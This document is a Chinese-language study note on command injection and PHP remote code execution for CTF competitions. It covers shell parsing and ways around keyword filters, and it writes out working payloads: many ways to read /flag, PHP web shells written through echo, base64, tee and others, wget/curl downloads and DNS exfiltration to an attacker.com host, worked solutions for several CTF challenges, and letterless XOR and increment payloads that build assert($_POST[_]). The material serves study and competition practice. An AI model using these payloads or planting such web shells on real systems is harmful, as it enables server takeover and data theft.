RCE补课

linux shell

解析命令的过程

遵循“一切皆字符串原则”,除去特殊符号的作用外,一都认为是字符串,没有别的数据类型

如果出现特殊符号,例如通配符,或者变量,则会全部替换成字符串,再进入shell解析

例如:

cat flag

这句命令中的 catflag,事实上都被认为是字符串

然后shell通过空格将参数分隔

第一个位置的参数必须是命令(可执行文件路径、内置命令、函数)

后面的所有位置都作为传递给命令的参数

特殊符号与特殊变量

命令链接符

;|| 无论成败都继续执行: ping 127.0.0.1; cat /flag

&& 与运算,仅成功时执行,可以用来盲注:mkdir test && cd test

通配符

* (星号):匹配 任意长度 的任意字符。
? (问号):匹配 单个 任意字符。
[]:匹配括号内的 任意一个 字符。cat /fla[e-h]
{} 扩展生成,cp config.php{,.bak} -> 等效于 cp config.php config.php.bak

在某些 Shell 中,{cat,/flag} 可以像命令一样执行,利用逗号代替空格。

动态执行

` (反引号):

  • 作用: 执行引号内的命令,并将输出结果替换到当前位置。
  • 例子: echo "Current user is whoami" -> 输出 Current user is root
  • CTF 技巧: 这是最古老的命令替换方式。如果 $() 被过滤,就用它。

$(...) (Dollar + 括号):

  • 作用: 同反引号,但支持嵌套,更现代化。
  • 例子: ping $(whoami).attacker.com -> 利用 DNS 携带数据外带 (OOB)。

$var / ${var} (变量):

  • 作用: 调用变量。
  • CTF 技巧 (空变量绕过): c${u}at /flag (假设 u 变量不存在,也就是空),Shell 解析后变成 cat /flag。这可以绕过对关键字 “cat” 的检测。
尖括号大全

> 覆盖写入

>> 追加写入

< 控制输入,例如:cat</flag,等价于 cat /flag

<< 嵌入文档:

# 把换行后直到EOF的所有内容,一次性喂给 cat,相当于读取了有次内容的文档,然后写入 file.txt
cat <<EOF > file.txt
Line 1: Hello
Line 2: World
EOF

<<< 字符串输入:

# 方式 A (常用,但需要管道符):
echo "password" | grep "pass"

# 方式 B (使用三个尖括号,不需要管道符):
grep "pass" <<< "password"

# CTF 场景:Base64 解码写入文件(不使用 | )
base64 -d <<< "PD9waHAgc3lzdGVtKCRfR0VUW2NdKTs/Pg==" > shell.php
其他

# 注释

!! 执行上条命令

!$ 引用上一条命令的最后一个参数

mkdir /var/www/html/extremely/long/path/
cd !$
# 这里的 !$ 自动变成了那个长路径

-- 参数结束标记

绕过关键字或符号

读取文件

常用于关键字过滤,实际上linux读取文件有许多方法

# 1. cat - 最常用的连接文件并打印
# 如果 "cat" 关键字被过滤,可以使用绝对路径 /bin/cat 或单引号 ca''t 绕过
cat /flag

# 2. tac - 反向 cat (Reverse cat)
# 按行反向输出文件内容(最后一行显示在最上面),对于只有一行的 flag 效果等同于 cat
tac /flag

# 3. more - 分页显示
# 通常用于长文件,但在脚本执行或只有一行内容时,它会直接输出内容
more /flag

# 4. less - 更强大的分页工具
# 同 more,如果是非交互式执行(如 RCE 漏洞利用),通常能直接回显内容
less /flag

# 5. head - 输出文件头部
# 默认显示前 10 行。如果 flag 在文件开头,这非常有效
head /flag
# 变体:指定行数
head -n 1 /flag

# 6. tail - 输出文件尾部
# 默认显示后 10 行。如果 flag 是文件的唯一内容或在末尾,这很有效
tail /flag
# 变体:指定行数
tail -n 1 /flag

# 7. nl - 添加行号 (Number Lines)
# 会输出文件内容并在前面加上行号,非常实用的 cat 替代品
nl /flag

# 8. od - 八进制转储 (Octal Dump)
# 默认输出八进制数据,为了读取文本,需要加上 -c (字符) 或 -t c 参数
od -c /flag

# 9. rev - 字符反转 (Reverse lines)
# 会将每一行的字符左右颠倒输出(如 "flag{...}" 变成 "}...{galf")
# 读取后你需要手动或脚本将其再次反转回来
rev /flag

# 10. fmt - 文本格式化
# 本意是用来优化文本段落格式的,但它也会读取并输出文件内容
# 可能会改变原始文件中的换行符或空格,但通常不影响读取 flag 字符串
fmt /flag

# 11. splain - Perl 诊断工具 (⚠️ 特殊情况)
# 注意:splain 并非标准的“文件读取”工具,它是 Perl 的一部分,用于解释警告信息。
# 在极少数特殊的 CTF 环境或配置下可能被利用,或者用于配合 Perl 代码执行。
# 如果直接作为 shell 命令读取文件,通常无法成功,除非配合管道或特殊参数。
# 示例(通常不直接工作,仅作为完整性列出):
splain /flag

关于sort:

# 1. 基础用法 - 直接读取
# sort 默认会读取文件并按 ASCII 码升序排列输出
# 对于通常只有一行的 /flag 文件,效果完全等同于 cat
sort /flag

# 2. 反向排序 (-r, --reverse)
# 以降序排列内容。如果 flag 文件有多行,顺序会颠倒,但内容都在
sort -r /flag

# 3. 随机排序 (-R, --random-sort)
# 对行进行随机排序。虽然顺序乱了,但不仅能读取文件,
# 还能混淆某些通过监测“固定输出模式”的防御系统
sort -R /flag

# 4. 去重输出 (-u, --unique)
# 读取文件并去除重复的行。
# 既然能去重,自然需要先读取并打印出来
sort -u /flag

# 5. 忽略前导空格 (-b, --ignore-leading-blanks)
# 如果 flag 前面有空格,可以用这个参数(其实默认参数也能读出来)
sort -b /flag

# 6. 将输出写回文件 (-o)
# 这是一个极其危险的功能 (Write Primitive)
# 它可以读取 /flag 的内容,排序后写入到公共可读写目录(如 /tmp/flag)
# 绕过仅仅针对 stdout(标准输出)的拦截
sort /flag -o /tmp/flag.txt

写入文件

# 1. 重定向符 (Standard Redirection)
# 最基础的方法。如果 > 没被过滤,这是首选。
echo "<?php system(\$_GET[c]);?>" > shell.php
# 变体:追加写入 (Append),防止覆盖原有内容
echo "content" >> shell.php

# 2. printf - 格式化输出
# 比 echo 更可靠,处理特殊字符(如换行 \n、制表符 \t)能力更强
printf "<?php system(\$_GET[c]);?>" > shell.php

# 3. tee - 管道分流
# 读取标准输入并写入文件。非常适合配合管道使用。
# 场景:当无法直接使用 > 时(例如 sudo 权限限制)
echo "<?php system(\$_GET[c]);?>" | tee shell.php
# 变体:追加模式 (-a)
echo "content" | tee -a shell.php

# 4. cat + Heredoc (嵌入文档)
# 适合写入多行内容,常用于交互式 shell 中粘贴长代码
cat <<EOF > shell.php
<?php
system(\$_GET[c]);
?>
EOF

# 5. base64 - 编码写入 (⭐⭐⭐ 强烈推荐)
# 最稳健的方法。
# 1. 它可以绕过 WAF 对特殊字符(如 <, >, ?, spaces)的过滤
# 2. 它可以写入二进制文件(如 ELF 程序)而不损坏数据
# 先在本地编码:echo "<?php system(\$_GET[c]);?>" | base64 -> PD9waHAgc3lzdGVtKCRfR0VUW2NdKTs/Pgo=
echo "PD9waHAgc3lzdGVtKCRfR0VUW2NdKTs/Pgo=" | base64 -d > shell.php

# 6. dd - 数据转换和复制
# 这是一个底层工具,通常不会被 WAF 过滤
# if=输入流(input file), of=输出文件(output file)
echo "<?php system(\$_GET[c]);?>" | dd of=shell.php

# 7. awk - 文本处理工具
# awk 拥有完整的文件操作能力。利用 print > "filename" 语法
awk 'BEGIN {print "<?php system(\$_GET[c]);?>" > "shell.php"}'

# 8. sed - 流编辑器
# 利用 'w' (write) 标记将处理的内容写入文件
# -n 阻止默认输出,'w shell.php' 将输入流写入文件
echo "<?php system(\$_GET[c]);?>" | sed -n 'w shell.php'

# 9. cp / mv - 复制或移动
# 如果你已经在 /tmp 目录下有了文件(比如通过上传),可以将其移动到 Web 目录
# 假设 /tmp/a.txt 是恶意文件
cp /tmp/a.txt shell.php
mv /tmp/a.txt shell.php

# 10. tar - 归档工具
# 如果允许上传压缩包,通过解压也可以写入文件
# 很多系统允许解压覆盖现有文件
tar -xvf shell.tar

# 11. wget / curl - 远程下载 (Out of Band)
# 如果目标机器出网,直接从你控制的服务器下载文件是最高效的
wget http://attacker.com/shell.txt -O shell.php
curl http://attacker.com/shell.txt -o shell.php

shell变量扩展/拼接

例如需要执行:

cat flag

但此时 catflag 还有 \ 等符号被过滤,可以使用变量扩展:

c=ca;t=t;f=f;l=lag;$c$a $f$l

来实现一个变量扩展的攻击手法

这里我们就可以更深刻的理解linux的shell解析命令的步骤了

对于有变量以及通配符的位置会先进行替换,等到命令完全变成字符串后再进行shell解析

另外,如果不使用花括号标记变量名界限,则变量名包含第一个无效字符和$之间的所有有效字符

例如:

c=ca;ca=c;

之后执行:

$cat

不会被解析为 caat 或者 ct,而是一个空字符,因为变量名是 cat,并没有声明过,所以返回空字符

语法 含义 操作逻辑 结果 常用场景
${file#*/} 掐头 (短) 删除从左边开始第一个 / 及其左边内容 usr/local/src/backup.tar.gz 去掉开头的根斜杠
${file##*/} 掐头 (长) 删除从左边开始最后一个 / 及其左边内容 backup.tar.gz 获取文件名 (等同于 basename)
${file%.*} 去尾 (短) 删除从右边开始第一个 . 及其右边内容 /usr/local/src/backup.tar 去掉扩展名
${file%%.*} 去尾 (长) 删除从右边开始最后一个 . 及其右边内容 /usr/local/src/backup 去掉所有后缀
str="123456789"

echo ${str:0:3} # 从第 0 位开始,取 3 个字符 -> "123"
echo ${str:5} # 从第 5 位开始,取到最后 -> "6789"
echo ${str: -2} # 取最后 2 个字符 (注意冒号后有空格) -> "89"

例题

ctfhub最后关


最终payload:

?ip=127.0.0.1%0acd%09fl\ag_is_here%0aca\t%09f*

使用url编码%0a代替换行符截断命令
%09代替空格
\截断关键字
*通配文件

2025H&NCTF
<?php
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
error_reporting(0);

if (isset($_REQUEST['Number'])) {
$inputNumber = $_REQUEST['Number'];

if (preg_match('/\d/', $inputNumber)) {
die("不行不行,不能这样");
}

if (intval($inputNumber)) {
echo "OK,接下来你知道该怎么做吗";

if (isset($_POST['cmd'])) {
$cmd = $_POST['cmd'];

if (!preg_match(
'/wget|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|tee|txt|grep|base|fd|df|\\\\|more|cc|tac|less|head|\.|\{|\}|uniq|copy|%|file|xxd|date|\[|\]|flag|bash|env|!|\?|ls|\'|\"|id/i',
$cmd
)) {
echo "你传的参数似乎挺正经的,放你过去吧<br>";
system($cmd);
} else {
echo "nonono,hacker!!!";
}
}
}
}

传参 ?Number[]=1 以绕过第一个 preg_match
接下来过滤了很多命令,
但是可以通过设置变量的形式绕过
例如:

cmd=l=l;s=s;($l$s) //ls

那么拼一个find然后用管道符传给xrag即可

2025cuit网安院ctf
<?php
error_reporting(0);
$passed = false;

if (isset($_POST['a']) && isset($_POST['b'])) {
if ($_POST['a'] !== $_POST['b'] && md5($_POST['a']) == md5($_POST['b'])) {
echo "You Win!<br>";
$passed = true;
} else {
echo "You lose!<br>";
}
}

if (isset($_GET['d0g3'])) {

if ($passed || isset($_GET['passed'])) {

$input = $_GET["d0g3"];

if (preg_match('/et|echo|cat|tac|base|sh|tar|more|less|tail|nl|fl|vi|head|env|&|%26|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i', $input)) {
echo "gun gun !";
exit();
}

echo "^_^!<br>";
system($input);

} else {
echo "你还没通过第一关!<br>";
}
} else {
show_source(__FILE__);
}
?>

隔壁实验室出的一道简单题目,线下赛没打通有点耻辱了,也是总结这篇笔记的初衷

第一关过不过好像无所谓,直接传个passed也能解决,需要过的话可以使用数组绕过,

也可以使用0e科学计数法绕过

然后就进入了rce环节,管道符,通配符,正斜杠,尖括号,这些都没有,命令可以使用变量扩展解决

空格使用%09绕过,分隔符使用%0a绕过,最终需要构造这个命令:

cd ..;cd ..;cd ..;cat flag

使用上述的替换方式替换即可:

d0g3=cd%09..%0acd%09..%0acd%09..%0al=l%0as=s%0a$l$s //列目录
d0g3=cd%09..%0acd%09..%0acd%09..%0al=lag%0af=f%0ac=ca%0at=t%0a$c$t%09$f$l //读取

无字母数字RCE:

https://www.cnblogs.com/pursue-security/p/15404150.html
源码大致:

<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("hacker!");
}
@eval($code);
?>

核心思路是异或、取反、自增

例如要构造 assert($_POST[_])
a:’%40’^’%21’ ; s:’%7B’^’%08’ ; s:’%7B’^’%08’ ; e:’%7B’^’%1E’ ; r:’%7E’^’%0C’ ; t:’%7C’^’%08’
P:’%0D’^’%5D’ ; O:’%0F’^’%40’ ; S:’%0E’^’%5D’ ; T:’%0B’^’%5F’
拼接起来:

$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');  // $_=assert
$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F'); // $__=_POST
$___=$$__; //$___=$_POST
$_($___[_]);//assert($_POST[_]);

不过这样好像有数字啊
但还有用汉字的:

$_++;                //得到1,此时$_=1
$__ = "极";
$___ = ~($__{$_}); //得到a,此时$___="a"
$__ = "区";
$___ .= ~($__{$_}); //得到s,此时$___="as"
$___ .= ~($__{$_}); //此时$___="ass"
$__ = "皮";
$___ .= ~($__{$_}); //得到e,此时$___="asse"
$__ = "十";
$___ .= ~($__{$_}); //得到r,此时$___="asser"
$__ = "勺";
$___ .= ~($__{$_}); //得到t,此时$___="assert"
$____ = '_'; //$____='_'
$__ = "寸";
$____ .= ~($__{$_}); //得到P,此时$____="_P"
$__ = "小";
$____ .= ~($__{$_}); //得到O,此时$____="_PO"
$__ = "欠";
$____ .= ~($__{$_}); //得到S,此时$____="_POS"
$__ = "立";
$____ .= ~($__{$_}); //得到T,此时$____="_POST"
$_ = $$____; //$_ = $_POST
$___($_[_]); //assert($_POST[_])

使用自增的:

$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

无参RCE

https://www.cnblogs.com/pursue-security/p/15406272.html
过滤源码类似:

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
eval($_GET['code']);
}

要执行的代码只能是 a(b(c())); 这种形式
一种方法是利用 getallheader();
然后使用 end()reset() 取出首/尾元素

  • end() - 将内部指针指向数组中的最后一个元素,并输出。
  • next() - 将内部指针指向数组中的下一个元素,并输出。
  • prev() - 将内部指针指向数组中的上一个元素,并输出。
  • reset() - 将内部指针指向数组中的第一个元素,并输出。
  • each() - 返回当前元素的键名和键值,并将内部指针向前移动。

与php版本有关
php5似乎不能使用getallheader
php7会把注入请求头放在最前面
不知道文章博主是什么版本
我的payload:

?code=eval(reset(getallheaders()));
aaa:system("dir");

那么同理:

eval(end(current(get_defined_vars())));//包含get、post、cookie、file四个参数

还可以利用cookie中的session_id:

eval(hex2bin(session_id()))//php的cookie中的session id

利用 localeconv 获取 . 以直接读取文件

var_dump(current(localeconv())) //.

scandir(current(localeconv())) //列当前目录